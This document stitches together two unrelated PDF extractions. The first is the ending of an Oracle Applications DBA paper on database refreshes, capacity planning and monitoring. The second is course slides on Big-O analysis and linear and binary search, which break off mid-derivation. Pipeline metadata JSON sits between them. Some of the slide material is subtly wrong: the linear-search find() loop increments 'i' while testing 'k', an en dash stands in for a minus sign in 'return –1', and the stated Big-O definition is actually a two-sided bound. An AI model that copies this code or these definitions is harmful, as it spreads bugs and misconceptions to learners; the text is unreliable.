For the training environment there may be a need for a "frozen" backup copy that can then be used to refresh the database after each training session. This task will place additional burdens on the backup system and the support staff to perform the actual refreshes and should be accounted for in the project plan.
Before any refreshes or restores occur, the source and target database environments should be in sync in regards to patch application. Alternatively, once the refresh is complete, the database portion of the patches that have not been applied to the source database should be reapplied.
**Virtual Database**
During the course of the project, there may be a need to allow for the migration of setups and data established during mapping to subsequent environments. This process is sometimes referred to as *instance synchronization*. Oracle provides no methods for transferring setup information, but there are third party products available to manage setup information across multiple environments. Whether these products are worth the cost or not should be evaluated based on the project's requirements. Most often the initial setup information is maintained through the virtual database and further setup data is re-keyed. This method requires that detailed documentation be kept.
To support instance synchronization, a virtual database (VIRTUAL) should be established to hold each progressive phase of setup information. This database will have multiple versions and will be a full backup copy of the mapping database at various stages of the implementation cycle. When configuration decisions are finalized, the project team will perform the required configuration in the mapping database and it will then be backed up to create a new VIRTUAL database version. At the end of the Solution Design stage, this environment will contain all the setup information required for the Business Systems Test, Performance Assurance Testing, End-User Training, and Production environments. The VIRTUAL database backups will be used to re-create the test, and possibly the development database, without requiring further installs of the Oracle Applications software, and will allow the project the flexibility to try different configurations without having to incur the downtime of multiple installs. Refinements to the VIRTUAL database may be made as a result of each of these activities.

**Figure 3: Virtual Database Synchronization**
Long Term Capacity Planning
The best time to start capacity planning is at system deployment, and as part of an Oracle Applications implementation project, this is a great opportunity to begin gathering the data necessary for capacity planning projections. Whether a new implementation or an upgrade, the system will have changed enough to make a good starting point for tracking resource utilization. There are many sources of information available on capacity planning and most every DBA book has examples of how to implement some level of resource tracking. However, the key for long term capacity planning, and validation of the production sizing study, is the ability to characterize the system workload and identify trends over time. A common tendency is to only monitor resource usage in response to performance problems, which misses the opportunity to prevent performance issues by reacting proactively to problem areas.
In a paper that I presented with a colleague at the 1995 Fall OAUG conference titled "ORACLE7 I/O Monitoring and Tuning" we proposed a simple interval based method of monitoring database I/O and some key contention areas in the database to provide a long term perspective on database activity.
With this type of data, information is available to deal with both sudden spikes in usage (e.g. users calling and complaining about the system being slow) and longer term usage growth (e.g. total database I/O has grown 20% during the last 6 months). In the case of users complaining about the system being slow it may be possible to identify an area of contention (e.g. an Accounts Payable datafile has three times the I/O it "normally" has) because metrics are available that will show what the system "normally" does. This then provides focus for identifying the causes of this spike in usage. As for longer term trends, it may be that growth in I/O is because of added usage, which could be validated by an increase in the number of logged users. Or it may that a table that has grown to the point of needing one or more additional indexes.
Database monitoring can be broken down into three basic categories. The first category, and the most common, is point-in-time monitoring. Point-in-time monitoring is used to identify an immediate performance problem. An example of this might be the use of the Oracle Enterprise Manager Top Sessions product to identify a database session consuming large amounts of CPU time.
The second category of monitoring is of short duration and high impact, and is used to identify a known performance problem. The most common tool is probably the “utlbstat/utlestat” scripts supplied with the Oracle Server and are typically used to identify I/O bottlenecks and session wait problems. The Oracle Trace and Expert products, a combination of Oracle Server utilities and Oracle Enterprise Manager products, can also be used to provide very detailed monitoring information.
The third category of monitoring is typified by long duration and very low impact “snap shots” of the database in order to perform capacity planning and trend analysis. This type of monitoring usually captures a summary of database statistics and attempts to correlate them over some period of time, usually days, weeks, or months.
The common theme of all of these strategies is an attempt to identify and manage database performance to meet service level requirements. In addition to database monitoring, there are other areas of an Oracle Applications system that must also be considered. The database is only one component, hardware(OS) monitoring for the database and application server(s), client performance, network bandwidth, and application logic must also be included in a comprehensive monitoring strategy.
Conclusions
Project planning must consider technical architecture requirements. This requires an initial understanding of the project requirements and the Oracle Applications technical architecture in order to allocate enough resources to the Technical Architecture tasks.
Understanding the project environments required, and the time and resources required to support them, will help the technical staff meet the requirements of the project.
Incorporating patching time into the project plan (e.g. padding extra time) will provide the technical staff with enough time so that other task timelines will not be impacted.
Production system hardware should be obtained based on specifications identified by a system sizing study that incorporates expected workload, business volume requirements, and technical architecture. This may also require the addition of a capacity planning expert for advice and validation.
Implementing a long term capacity planning strategy can help validate the production sizing study, provide the metrics, and help set expectations, about the performance of the system. Hopefully, the information obtained will allow the technical staff to proactively manage system performance and keep an active involvement in the sizing of the system to avoid future problems which could taint the perception of an otherwise successful implementation project.
About The Author
Andy Rivenes has been an Oracle DBA working with Oracle Applications since 1992. He has worked for Oracle Corporation as a Principal Consultant specializing in Oracle Applications technical architecture and currently works for Lawrence Livermore National Laboratory as an Oracle DBA. Mr. Rivenes also maintains an Oracle Applications DBA web site at www.appsdba.com and can be reached at arivenes@llnl.gov.
A special thanks to Michael Ogden and Neil Jensen for their help in editing this paper.
Sources
Oracle Applications Installation, Release 11 for UNIX, Part No. A57983-02
Application Implementation Method, Oracle Services
|
{"Source-Url": "http://www.appsdba.com/papers/oasizeLLNL.pdf", "len_cl100k_base": 8508, "olmocr-version": "0.1.49", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 30921, "total-output-tokens": 9290, "length": "2e13", "weborganizer": {"__label__adult": 0.0006008148193359375, "__label__art_design": 0.0008378028869628906, "__label__crime_law": 0.0005731582641601562, "__label__education_jobs": 0.007663726806640625, "__label__entertainment": 0.0002065896987915039, "__label__fashion_beauty": 0.0002818107604980469, "__label__finance_business": 0.0188140869140625, "__label__food_dining": 0.0004549026489257813, "__label__games": 0.0012950897216796875, "__label__hardware": 0.00836944580078125, "__label__health": 0.0009584426879882812, "__label__history": 0.0006303787231445312, "__label__home_hobbies": 0.00036835670471191406, "__label__industrial": 0.00487518310546875, "__label__literature": 0.0005030632019042969, "__label__politics": 0.00029540061950683594, "__label__religion": 0.0005621910095214844, "__label__science_tech": 0.32275390625, "__label__social_life": 0.0001722574234008789, "__label__software": 0.09613037109375, "__label__software_dev": 0.5322265625, "__label__sports_fitness": 0.0002830028533935547, "__label__transportation": 0.0011243820190429688, "__label__travel": 0.0003521442413330078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46884, 0.00425]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46884, 0.33836]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46884, 0.91719]], "google_gemma-3-12b-it_contains_pii": [[0, 3838, false], [3838, 8624, null], [8624, 12240, null], [12240, 15158, null], [15158, 18222, null], [18222, 19487, null], [19487, 24275, null], [24275, 28092, null], [28092, 31943, null], [31943, 33751, null], [33751, 37835, null], [37835, 40814, null], [40814, 45013, null], [45013, 46884, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3838, true], [3838, 8624, null], [8624, 12240, null], [12240, 15158, null], [15158, 18222, null], [18222, 19487, null], [19487, 24275, null], [24275, 28092, null], [28092, 31943, null], [31943, 33751, null], [33751, 37835, null], [37835, 40814, null], [40814, 45013, null], [45013, 46884, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46884, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46884, null]], "pdf_page_numbers": [[0, 3838, 1], [3838, 8624, 2], [8624, 12240, 3], [12240, 15158, 4], [15158, 18222, 5], [18222, 19487, 6], [19487, 24275, 7], [24275, 28092, 8], [28092, 31943, 9], [31943, 33751, 10], [33751, 37835, 11], [37835, 40814, 12], [40814, 45013, 13], [45013, 46884, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46884, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
fb556e5dd4a38df038cef37fb2890a41b6e77cc7
|
[REMOVED]
|
{"Source-Url": "http://pl.postech.ac.kr/~gla/pl2010/notes/intro-functional.chap.pdf", "len_cl100k_base": 13403, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 50954, "total-output-tokens": 14670, "length": "2e13", "weborganizer": {"__label__adult": 0.0003750324249267578, "__label__art_design": 0.0002868175506591797, "__label__crime_law": 0.00027251243591308594, "__label__education_jobs": 0.0009098052978515624, "__label__entertainment": 5.829334259033203e-05, "__label__fashion_beauty": 0.0001360177993774414, "__label__finance_business": 0.00013947486877441406, "__label__food_dining": 0.0004041194915771485, "__label__games": 0.0005617141723632812, "__label__hardware": 0.0004839897155761719, "__label__health": 0.0003209114074707031, "__label__history": 0.0001665353775024414, "__label__home_hobbies": 8.368492126464844e-05, "__label__industrial": 0.0002999305725097656, "__label__literature": 0.00028014183044433594, "__label__politics": 0.0002079010009765625, "__label__religion": 0.0005025863647460938, "__label__science_tech": 0.00341796875, "__label__social_life": 8.189678192138672e-05, "__label__software": 0.0027008056640625, "__label__software_dev": 0.9873046875, "__label__sports_fitness": 0.00032210350036621094, "__label__transportation": 0.00045418739318847656, "__label__travel": 0.0001876354217529297}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54275, 0.02443]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54275, 0.79595]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54275, 0.86197]], "google_gemma-3-12b-it_contains_pii": [[0, 2868, false], [2868, 6062, null], [6062, 9310, null], [9310, 12608, null], [12608, 16447, null], [16447, 20371, null], [20371, 24082, null], [24082, 26882, null], [26882, 29567, null], [29567, 32789, null], [32789, 36288, null], [36288, 39634, null], [39634, 43024, null], [43024, 46326, null], [46326, 49646, null], [49646, 52425, null], [52425, 54275, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2868, true], [2868, 6062, null], [6062, 9310, null], [9310, 12608, null], [12608, 16447, null], [16447, 20371, null], [20371, 24082, null], [24082, 26882, null], [26882, 29567, null], [29567, 32789, null], [32789, 36288, null], [36288, 39634, null], [39634, 43024, null], [43024, 46326, null], [46326, 49646, null], [49646, 52425, null], [52425, 54275, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54275, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 54275, null]], "pdf_page_numbers": [[0, 2868, 1], [2868, 6062, 2], [6062, 9310, 3], [9310, 12608, 4], [12608, 16447, 5], [16447, 20371, 6], [20371, 24082, 7], [24082, 26882, 8], [26882, 29567, 9], [29567, 32789, 10], [32789, 36288, 11], [36288, 39634, 12], [39634, 43024, 13], [43024, 46326, 14], [46326, 49646, 15], [49646, 52425, 16], [52425, 54275, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54275, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-05
|
2024-12-05
|
6371a36333f489dca09cea6d622bbd11a80f2e4c
|
Analysis of Algorithms
CS 1037a – Topic 13
Overview
- Time complexity
- exact count of operations $T(n)$ as a function of input size $n$
- complexity analysis using $O(...)$ bounds
- constant time, linear, logarithmic, exponential,… complexities
- Complexity analysis of basic data structures’ operations
- *Linear* and *Binary Search* algorithms and their analysis
- Basic Sorting algorithms and their analysis
Related materials
from Main and Savitch
“Data Structures & other objects using C++”
• Sec. 12.1: Linear (serial) search, Binary search
• Sec. 13.1: Selection and Insertion Sort
Analysis of Algorithms
• **Efficiency** of an algorithm can be measured in terms of:
• Execution time (*time complexity*)
• The amount of memory required (*space complexity*)
• Which measure is more important?
• Answer often depends on the limitations of the technology available at time of analysis
Time Complexity
• For most of the algorithms associated with this course, time complexity comparisons are more interesting than space complexity comparisons.
• *Time complexity*: A measure of the amount of time required to execute an *algorithm*.
Time Complexity
- Factors that *should not* affect time complexity analysis:
- The programming language chosen to implement the algorithm
- The quality of the compiler
- The speed of the computer on which the algorithm is to be executed
Time Complexity
• Time complexity analysis for an algorithm is *independent* of programming language, machine used.
• **Objectives** of time complexity analysis:
• To determine the feasibility of an algorithm by estimating an *upper bound* on the amount of work performed.
• To compare different algorithms before deciding on which one to implement.
Time Complexity
- Analysis is based on the amount of work done by the algorithm.
- Time complexity expresses the relationship between the size of the input and the run time for the algorithm.
- Usually expressed as a proportionality, rather than an exact function.
Time Complexity
• To simplify analysis, we sometimes ignore work that takes a constant amount of time, independent of the problem input size
• When comparing two algorithms that perform the same task, we often just concentrate on the differences between algorithms
Time Complexity
• Simplified analysis can be based on:
• Number of arithmetic operations performed
• Number of comparisons made
• Number of times through a critical loop
• Number of array elements accessed
• etc
Example: Polynomial Evaluation
Suppose that exponentiation is carried out using multiplications. Two ways to evaluate the polynomial
\[ p(x) = 4x^4 + 7x^3 - 2x^2 + 3x^1 + 6 \]
are:
**Brute force method:**
\[ p(x) = 4*x*x*x*x + 7*x*x*x - 2*x*x + 3*x + 6 \]
**Horner’s method:**
\[ p(x) = ((((4*x + 7) * x - 2) * x + 3) * x + 6 \]
Example: Polynomial Evaluation
Method of analysis:
• Basic operations are multiplication, addition, and subtraction
• We’ll only consider the number of multiplications, since the number of additions and subtractions are the same in each solution
• We’ll examine the general form of a polynomial of degree $n$, and express our result in terms of $n$
• We’ll look at the worst case (max number of multiplications) to get an upper bound on the work
Example: Polynomial Evaluation
**General form** of polynomial is
\[ p(x) = a_n x^n + a_{n-1} x^{n-1} + a_{n-2} x^{n-2} + \ldots + a_1 x^1 + a_0 \]
where \( a_n \) is non-zero for all \( n \geq 0 \)
Example: Polynomial Evaluation
Analysis for Brute Force Method:
\[ p(x) = a_n x^n + a_{n-1} x^{n-1} + a_{n-2} x^{n-2} + \ldots + a_2 x^2 + a_1 x + a_0 \]
- \( n \) multiplications
- \( n-1 \) multiplications
- \( n-2 \) multiplications
- \( \ldots \)
- 2 multiplications
- 1 multiplication
Example: Polynomial Evaluation
Number of multiplications needed in the worst case is
\[ T(n) = n + n-1 + n-2 + \ldots + 3 + 2 + 1 \]
\[ = n(n + 1)/2 \quad (\text{result from high school math **}) \]
\[ = n^2/2 + n/2 \]
This is an exact formula for the maximum number of multiplications. In general though, analyses yield upper bounds rather than exact formulae. We say that the number of multiplications is \( \text{on the order of } n^2 \), or \( O(n^2) \). (Think of this as being proportional to \( n^2 \).)
(** We’ll give a proof for this result a bit later)
Example: Polynomial Evaluation
Analysis for *Horner’s Method*:
\[ p(x) = \ldots ((( a_n \cdot x + a_{n-1}) \cdot x + a_{n-2}) \cdot x + \ldots + a_2) \cdot x + a_1) \cdot x + a_0 \]
\[ T(n) = n, \text{ so the number of multiplications is } O(n) \]
Example: Polynomial Evaluation
<table>
<thead>
<tr>
<th>n (Horner)</th>
<th>( n^2/2 + n/2 ) (brute force)</th>
<th>( n^2 )</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>15</td>
<td>25</td>
</tr>
<tr>
<td>10</td>
<td>55</td>
<td>100</td>
</tr>
<tr>
<td>20</td>
<td>210</td>
<td>400</td>
</tr>
<tr>
<td>100</td>
<td>5050</td>
<td>10000</td>
</tr>
<tr>
<td>1000</td>
<td>500500</td>
<td>1000000</td>
</tr>
</tbody>
</table>
Example: Polynomial Evaluation
- $f(n) = n^2$
- $T(n) = n^2/2 + n/2$
- $g(n) = n$
# of mult's
n (degree of polynomial)
Sum of First \( n \) Natural Numbers
Write down the terms of the sum in forward and reverse orders; there are \( n \) terms:
\[
T(n) = 1 + 2 + 3 + \ldots + (n-2) + (n-1) + n
\]
\[
T(n) = n + (n-1) + (n-2) + \ldots + 3 + 2 + 1
\]
Add the terms in the boxes to get:
\[
2^*T(n) = (n+1) + (n+1) + (n+1) + \ldots + (n+1) + (n+1) + (n+1)
\]
\[
= n(n+1)
\]
Therefore, \( T(n) = \frac{n(n+1)}{2} = \frac{n^2}{2} + \frac{n}{2} \)
Big-O Notation
• Formally, the time complexity $T(n)$ of an algorithm is $O(f(n))$ (of the order $f(n)$) if, for some positive constants $C_1$ and $C_2$ for all but finitely many values of $n$
$$C_1 \cdot f(n) \leq T(n) \leq C_2 \cdot f(n)$$
• This gives upper and lower bounds on the amount of work done for all sufficiently large $n$
Big-O Notation
**Example**: Brute force method for polynomial evaluation: We chose the highest-order term of the expression \( T(n) = \frac{n^2}{2} + \frac{n}{2} \), with a coefficient of 1, so that \( f(n) = n^2 \).
\( \frac{T(n)}{n^2} \) approaches 1/2 for large \( n \), so \( T(n) \) is approximately \( \frac{n^2}{2} \).
\[
\frac{n^2}{2} \leq T(n) \leq n^2
\]
so \( T(n) \) is \( O(n^2) \).
Big-O Notation
• We want an easily recognized elementary function to describe the performance of the algorithm, so we use the dominant term of $T(n)$: it determines the basic shape of the function
Worst Case vs. Average Case
• **Worst case analysis** is used to find an upper bound on algorithm performance for large problems (large $n$)
• **Average case analysis** determines the average (or **expected**) performance
• Worst case time complexity is usually simpler to work out
Big-O Analysis in General
- With \textit{independent} nested loops: The number of iterations of the inner loop is independent of the number of iterations of the outer loop
- \textbf{Example}:
```java
int x = 0;
for ( int j = 1; j <= n/2; j++ )
for ( int k = 1; k <= n*n; k++ )
x = x + j + k;
```
Outer loop executes \( n/2 \) times. For each of those times, inner loop executes \( n^2 \) times, so the body of the inner loop is executed \( (n/2) \times n^2 = n^3/2 \) times. The algorithm is \( O(n^3) \).
Big-O Analysis in General
• With *dependent* nested loops: Number of iterations of the inner loop depends on a value from the outer loop
• *Example:*
```c
int x = 0;
for ( int j = 1; j <= n; j++ )
for ( int k = 1; k < 3*j; k++ )
x = x + j;
```
When \( j \) is 1, inner loop executes 3 times; when \( j \) is 2, inner loop executes 3*2 times; … when \( j \) is \( n \), inner loop executes 3*\( n \) times. In all the inner loop executes 3+6+9+…+3\( n \) = 3(1+2+3+…+\( n \)) = \( 3n^2/2 + 3n/2 \) times. The algorithm is \( O(n^2) \).
Big-O Analysis in General
Assume that a computer executes a million instructions a second. This chart summarizes the amount of time required to execute \( f(n) \) instructions on this machine for various values of \( n \).
<table>
<thead>
<tr>
<th>( f(n) )</th>
<th>( n=10^3 )</th>
<th>( n=10^5 )</th>
<th>( n=10^6 )</th>
</tr>
</thead>
<tbody>
<tr>
<td>( \log_2(n) )</td>
<td>( 10^{-5} ) sec</td>
<td>( 1.7 \times 10^{-5} ) sec</td>
<td>( 2 \times 10^{-5} ) sec</td>
</tr>
<tr>
<td>( n )</td>
<td>( 10^{-3} ) sec</td>
<td>( 0.1 ) sec</td>
<td>( 1 ) sec</td>
</tr>
<tr>
<td>( n \log_2(n) )</td>
<td>( 0.01 ) sec</td>
<td>( 1.7 ) sec</td>
<td>( 20 ) sec</td>
</tr>
<tr>
<td>( n^2 )</td>
<td>( 1 ) sec</td>
<td>( 3 ) hr</td>
<td>( 12 ) days</td>
</tr>
<tr>
<td>( n^3 )</td>
<td>( 17 ) min</td>
<td>( 32 ) yr</td>
<td>( 317 ) centuries</td>
</tr>
<tr>
<td>( 2^n )</td>
<td>( 10^{285} ) centuries</td>
<td>( 10^{10000} ) years</td>
<td>( 10^{100000} ) years</td>
</tr>
</tbody>
</table>
Big-O Analysis in General
• To determine the time complexity of an algorithm:
• Express the amount of work done as a sum $f_1(n) + f_2(n) + \ldots + f_k(n)$
• Identify the *dominant term*: the $f_j$ such that $f_j$ is $O(f_i)$ and for $k$ different from $j$
$f_k(n) < f_j(n)$ (for all sufficiently large $n$)
• Then the time complexity is $O(f_i)$
Big-O Analysis in General
• Examples of *dominant terms*:
- $n$ dominates $\log_2(n)$
- $n\log_2(n)$ dominates $n$
- $n^2$ dominates $n\log_2(n)$
- $n^m$ dominates $n^k$ when $m > k$
- $a^n$ dominates $n^m$ for any $a > 1$ and $m \geq 0$
• That is, $\log_2(n) < n < n\log_2(n) < n^2 < \ldots < n^m < a^n$ for $a \geq 1$ and $m > 2$
Intractable problems
• A problem is said to be *intractable* if solving it by computer is impractical
• *Example*: Algorithms with time complexity $O(2^n)$ take too long to solve even for moderate values of $n$; a machine that executes 100 million instructions per second can execute $2^{60}$ instructions in about 365 years
Constant Time Complexity
- Algorithms whose solutions are independent of the size of the problem’s inputs are said to have \textit{constant} time complexity.
- Constant time complexity is denoted as $O(1)$.
Time Complexities for Data Structure Operations
• Many operations on the data structures we’ve seen so far are clearly $O(1)$: retrieving the size, testing emptiness, etc.
• We can often recognize the time complexity of an operation that modifies the data structure without a formal proof.
Time Complexities for Array Operations
• Array elements are stored contiguously in memory, so the time required to compute the memory address of an array element $\text{arr}[k]$ is independent of the array’s size: It’s the start address of arr plus $k \times (\text{size of an individual element})$
• So, storing and retrieving array elements are $O(1)$ operations
Time Complexities for Array-Based List Operations
• Assume an $n$-element List (Topic 8):
• *insert* operation is $O(n)$ in the worst case, which is adding to the first location: all $n$ elements in the array have to be shifted one place to the right before the new element can be added.
Time Complexities for Array-Based List Operations
• Inserting into a full List is also $O(n)$:
• `replaceContainer` copies array contents from the old array to a new one ($O(n)$)
• All other activities (allocating the new array, deleting the old one, etc) are $O(1)$
• Replacing the array and then inserting at the beginning requires $O(n) + O(n)$ time, which is $O(n)$
Time Complexities for Array-Based List Operations
- **remove** operation is $O(n)$ in the worst case, which is removing from the first location: $n-1$ array elements must be shifted one place left.
- **retrieve**, **replace**, and **swap** operations are $O(1)$: array indexing allows direct access to an array location, independent of the array size; no shifting occurs.
- **find** is $O(n)$ because the entire list has to be searched in the worst case.
Time Complexities for Linked List Operations
• Singly linked list with $n$ nodes:
• $addHead$, $removeHead$, and $retrieveHead$ are all $O(1)$
• $addTail$ and $retrieveTail$ are $O(1)$ provided that the implementation has a tail reference; otherwise, they’re $O(n)$
• $removeTail$ is $O(n)$: need to traverse to the second-last node so that its reference can be reset to $NULL$
Time Complexities for Linked List Operations
- Singly linked list with $n$ nodes (cont’d):
- Operations to access an item by position (add, retrieve, remove(unsigned int $k$), replace) are $O(n)$: need to traverse the whole list in the worst case
- Operations to access an item by its value (find, remove(Item item)) are $O(n)$ for the same reason
Time Complexities for Linked List Operations
• Doubly-linked list with \( n \) nodes:
• Same as for singly-linked lists, except that all head and tail operations, including `removeTail`, are \( O(1) \)
• Ordered linked list with \( n \) nodes:
• Comparable operations to those found in the linked list class have the same time complexities
• `add(Item item)` operation is \( O(n) \): may have to traverse the whole list
Time Complexities for Bag Operations
- Assume the bag contains $n$ items, then
- $add$:
- $O(1)$ for our array-based implementation: new item is added to the end of the array
- If the bag can grow arbitrarily large (i.e.: if we replace the underlying array), adding to a “full” bag is $O(n)$
- Also $O(1)$ if we add to end of an array-based list, or head or tail of a linked list
Time Complexities for Bag Operations
• *getOne*:
• Must be careful to ensure that it is $O(1)$ if we use an underlying array or array-based list
• Don’t shift array or list contents
• Retrieve the $k^{th}$ item, copy the $n^{th}$ item into the $k^{th}$ position, and remove the $n^{th}$ item
• Worst case is $O(n)$ for any linked list implementation: requires list traversal
Time Complexities for Bag Operations
• Copy constructor for Bags (Topic 4, slide 4-33):
• Algorithm is $O(n)$ where $n$ is the number of items copied
• But, copying the underlying items may not be an $O(1)$ task: it depends on the kind of item being copied
• For class Bag<Item>: if copying an underlying item is $O(m)$, then the time complexity for the copy constructor is $O(n*m)$
Time Complexities for Stack Operations
• Stack using an underlying array:
• All operations are $O(1)$, provided that the top of the stack is always at the highest index currently in use: no shifting required
• Stack using an array-based list:
• All operations $O(1)$, provided that the tail of the list is the top of the stack
• **Exception**: $push$ is $O(n)$ if the array size has to double
Time Complexities for Stack Operations
• Stack using an underlying linked list:
• All operations are, or should be, $O(1)$
• Top of stack is the head of the linked list
• If a doubly-linked list with a tail pointer is used, the top of the stack can be the tail of the list
Time Complexities for Queue Operations
- Queue using an underlying array-based list:
- \textit{peek} is \(O(1)\)
- \textit{enqueue} is \(O(1)\) unless the array size has to be increased (in which case it’s \(O(n)\))
- \textit{dequeue} is \(O(n)\) : all the remaining elements have to be shifted
Time Complexities for Queue Operations
• Queue using an underlying linked list:
• As long as we have both a head and a tail pointer in the linked list, all operations are $O(1)$
• important: `enqueue()` should use `addTail()`
`dequeue()` should use `removeHead()`
Why not the other way around?
• No need for the list to be doubly-linked
Time Complexities for Queue Operations
• Circular queue using an underlying array:
• All operations are $O(1)$
• If we revise the code so that the queue can be arbitrarily large, enqueue is $O(n)$ on those occasions when the underlying array has to be replaced
Time Complexities for OrderedList Operations
OrderedList with array-based m_container:
- Our implementation of `insert(item)` (see slide 10-12) uses "linear search" that traverses the list from its beginning until the right spot for the new item is found — linear complexity $O(n)$
- Operation `remove(int pos)` is also $O(n)$ since items have to be shifted in the array
Basic Search Algorithms and their Complexity Analysis
Linear Search: Example 1
• *The problem*: Search an array \( a \) of size \( n \) to determine whether the array contains the value \( key \); return index if found, -1 if not found
Set \( k \) to 0.
While \( (k < n) \) and \( (a[k] \) is not \( key) \)
Add 1 to \( k \).
If \( k == n \) Return -1.
Return \( k \).
Linear Search: Example 2
“find” in Array Based List
template <class Item>
template <class Equality>
int List<Item>::find(Item key) const
{
for (int k = 1; k<= getLength(); i++)
if ( Equality::compare(m_container[k], key) ) return k;
return –1;
}
// this extra function requires additional templated
// argument for a comparison functor whose method
// compare checks two items for equality (as in slide 11-79)
Example of using *LinearSearch*
```cpp
int main() {
List<int> mylist;
… // code adding some *ints* into *mylist*
cout << mylist.find<IsEqual>(5);
}
```
Additional templated argument for function *find()* should be specified in your code
Analysis of Linear Search
- Total amount of work done:
- Before loop: a constant amount $a$
- Each time through loop: 2 comparisons, an and operation, and an addition: a constant amount of work $b$
- After loop: a constant amount $c$
- In worst case, we examine all $n$ array locations, so $T(n) = a + b*n + c = b*n + d$, where $d = a+c$, and time complexity is $O(n)$
Analysis of Linear Search
• Simpler (less formal) analysis:
• Note that work done before and after loop is independent of $n$, and work done during a single execution of loop is independent of $n$.
• In worst case, loop will be executed $n$ times, so amount of work done is proportional to $n$, and algorithm is $O(n)$.
Analysis of Linear Search
• **Average** case for a *successful* search:
- Probability of key being found at index $k$ is 1 in $n$ for each value of $k$
- Add up the amount of work done in each case, and divide by total number of cases:
$((a*1+d) + (a*2+d) + (a*3+d) + \ldots + (a*n+d))/n$
$= (n*d + a*(1+2+3+ \ldots +n))/n$
$= n*d/n + a*(n*(n+1)/2)/n = d + a*n/2 + a/2 = (a/2)*n + e$, where constant $e=d+a/2$, so expected case is also $O(n)$
Analysis of Linear Search
• Simpler approach to expected case:
• Add up the number of times the loop is executed in each of the $n$ cases, and divide by the number of cases $n$
• $(1+2+3+ \ldots +(n-1)+n)/n = (n*(n+1)/2)/n = n/2 + 1/2$; algorithm is therefore $O(n)$
Linear Search for LinkedList
- Linear search can be also done for *LinkedList*
- **exercise**: write code for function
```cpp
template <class Item> template <class Equality>
int LinkedList<Item>::find(Item key) const { …}
```
- Complexity of function *find(key)* for class *LinkedList* should also be O(n)
Binary Search
(on sorted arrays)
• General case: search a sorted array $a$ of size $n$ looking for the value $key$
• *Divide and conquer* approach:
• Compute the middle index $mid$ of the array
• If $key$ is found at $mid$, we’re done
• Otherwise repeat the approach on the half of the array that might still contain $key$
• etc…
Example: Binary Search For Ordered List
// A new member function for class OrderedList<Item,Order>
template <class Item, class Order>
int OrderedList<Item,Order>::binarySearch(Item key) const {
int first = 1, last = m_container.getLength();
while (first <= last) { // start of while loop
int mid = (first+last)/2;
Item val = retrieve(mid);
if ( Order::compare(key , val) ) last = mid -1;
else if ( Order::compare(val , key) ) first = mid +1;
else
return mid;
} // end of while loop
return –1;
}
Analysis of Binary Search
• The amount of work done before and after the loop is a constant, and independent of $n$
• The amount of work done during a single execution of the loop is constant
• Time complexity will therefore be proportional to number of times the loop is executed, so that’s what we’ll analyze
Analysis of Binary Search
• **Worst case**: key is not found in the array
• Each time through the loop, at least half of the remaining locations are rejected:
• After first time through, $\leq n/2$ remain
• After second time through, $\leq n/4$ remain
• After third time through, $\leq n/8$ remain
• After $k^{th}$ time through, $\leq n/2^k$ remain
Analysis of Binary Search
• Suppose in the worst case that maximum number of times through the loop is $k$; we must express $k$ in terms of $n$
• Exit the do..while loop when number of remaining possible locations is less than 1 (that is, when $\text{first} > \text{last}$): this means that $n/2^k < 1$
Analysis of Binary Search
• Also, \( \frac{n}{2^{k-1}} \geq 1 \); otherwise, looping would have stopped after \( k-1 \) iterations.
• Combining the two inequalities, we get:
\[
\frac{n}{2^k} < 1 \leq \frac{n}{2^{k-1}}
\]
• Invert and multiply through by \( n \) to get:
\[
2^k > n \geq 2^{k-1}
\]
Analysis of Binary Search
• Next, take base-2 logarithms to get:
